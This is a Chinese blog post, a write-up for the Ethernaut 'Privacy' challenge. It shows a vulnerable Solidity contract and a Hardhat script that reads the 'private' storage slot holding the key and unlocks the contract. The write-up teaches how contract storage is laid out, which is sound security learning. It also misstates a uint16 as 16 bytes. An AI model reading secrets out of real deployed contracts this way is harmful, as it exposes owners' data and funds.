{"content":{"title":"用Hardhat闯关Ethernaut题12 -privacy","body":"# Privacy合约\r\n任务：其实就是获取`data[2]`的值，然后调用`unlock`传入将`locked`设置为`false`。\r\n\r\n\r\n```\r\n\/\/ SPDX-License-Identifier: MIT\r\npragma solidity ^0.6.0;\r\n\r\ncontract Privacy {\r\n    bool public locked = true;\r\n    uint256 public ID = block.timestamp;\r\n    uint8 private flattening = 10;\r\n    uint8 private denomination = 255;\r\n    uint16 private awkwardness = uint16(now);\r\n    bytes32[3] private data;\r\n\r\n    constructor(bytes32[3] memory _data) public {\r\n        data = _data;\r\n    }\r\n\r\n    function unlock(bytes16 _key) public {\r\n        require(_key == bytes16(data[2]));\r\n\r\n        locked = false;\r\n    }\r\n\r\n    \/*\r\n    A bunch of super advanced solidity algorithms...\r\n\r\n      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`\r\n      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,\r\n      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---\/V\\\r\n      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)\r\n      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU\r\n  *\/\r\n}\r\n```\r\n这道题和[第8题-vault](https:\/\/juejin.cn\/post\/7143860837977964558)相似，考察的是如何获取合约中的变量，以及[状态变量在储存中的布局](https:\/\/learnblockchain.cn\/docs\/solidity\/internals\/layout_in_storage.html)概念。\r\n关于储存布局，这里有更详细的解读：https:\/\/learnblockchain.cn\/books\/geth\/part7\/storage.html\r\n简单说就是合约的储存是32个字节一个插槽，如果前面和后面的数据不足32字节，则可以合并为一个。比如此合约中的三个连续`uint`变量，字节大小为`1+1+16<32`(`uint256`是32字节,`uint8`则是1字节),所以合并为一个插槽。`data`是一个`bytes32`的数组，数组中的元素都是32字节，则分别占一个插槽，所以`data[2]`其实是第5个插槽，可以通过`getStorageAt(address,5)`来获取。\r\n\r\n那么测试脚本可以这么写：\r\n\r\n\r\n```\r\nconst { expect } = require(\"chai\");\r\nconst { ethers } = require(\"hardhat\");\r\nconst { MaxUint256 } = require(\"@ethersproject\/constants\");\r\nconst { BigNumber } = require(\"ethers\");\r\n\r\ndescribe(\"test\", function () {\r\n    var Privacy;\r\n    it(\"init params\", async function () {\r\n        [deployer, ...users] = await ethers.getSigners();\r\n    });\r\n    it(\"deploy\", async function () {\r\n        const PrivacyInstance = await ethers.getContractFactory(\"Privacy\");\r\n        Privacy = await PrivacyInstance.deploy([\r\n            ethers.utils.formatBytes32String(\"ETH1\"),\r\n            ethers.utils.formatBytes32String(\"ETH2\"),\r\n            ethers.utils.formatBytes32String(\"ETH3\"),\r\n        ]);\r\n\r\n        \/\/ Privacy = await PrivacyInstance.deploy([\r\n        \/\/     ethers.utils.formatBytes32String(\"ETH1\").slice(0, 34),\r\n        \/\/     ethers.utils.formatBytes32String(\"ETH2\").slice(0, 34),\r\n        \/\/     ethers.utils.formatBytes32String(\"ETH3\").slice(0, 34),\r\n        \/\/ ]);\r\n    });\r\n    it(\"hack test\", async function () {\r\n        const r = await ethers.provider.getStorageAt(Privacy.address, 5);\r\n        expect(ethers.utils.parseBytes32String(r)).to.equal(\"ETH3\");\r\n\r\n        const key = r.slice(0, 34);\r\n        await Privacy.unlock(key);\r\n        expect(await Privacy.locked()).to.equal(false);\r\n    });\r\n});\r\n```\r\n测试结果：\r\n\r\n![image.png](https:\/\/p1-juejin.byteimg.com\/tos-cn-i-k3u1fbpfcp\/76133b4ed3c14f4382de52a39c281a54~tplv-k3u1fbpfcp-watermark.image?)\r\n\r\n备注：为了体验一下插槽与储存布局的概念，可以将`data`设置为`bytes16`，然后将测试脚本的注释部分运行一遍看看效果。也可以将`uint8`变量分别设置为`uint128`或者`uint256`试试看。\r\n\r\nGithub：[hardhat测试仓库](https:\/\/github.com\/Verin1005\/Hardhat-Ethernaut)"},"author":{"user":"https:\/\/learnblockchain.cn\/people\/4922","address":null},"history":null,"timestamp":1664355326,"version":1}